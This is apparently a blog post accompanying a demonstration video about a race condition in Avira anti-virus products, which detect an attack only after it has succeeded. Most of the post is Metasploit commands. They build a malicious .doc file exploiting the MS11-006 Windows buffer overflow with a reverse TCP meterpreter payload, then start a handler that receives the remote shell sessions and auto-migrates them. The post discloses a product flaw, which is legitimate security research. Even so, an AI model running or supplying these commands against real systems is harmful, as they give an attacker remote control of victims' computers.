This video will demonstrate you a race condition against Avira anti-virus products. This race condition is due to design errors in the Avira anti-virus products themselves.

We will exploit the MS11-006 vulnerability (Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow) and use a reverse TCP meterpreter payload.

As you will see, the installed “Avira AntiVir Personal” anti-virus will detect the attack, but to late. The meterpreter sessions is created and you have access to the system.

The demonstrated product is an update-to-date “Avira AntiVir Personal”. But this race condition appear for others Avira products, such as “Avira AntiVir Premium” and “Avira Premium Security Suite“.

Metasploit commands :

To create the msf.doc file to exploit MS11-06 vulnerability

use exploit/windows/fileformat/ms11_006_createsizeddibsection
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit

To listen for incoming meterpreter sessions

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
set InitialAutoRunScript migrate -f
exploit -j

Demonstration video :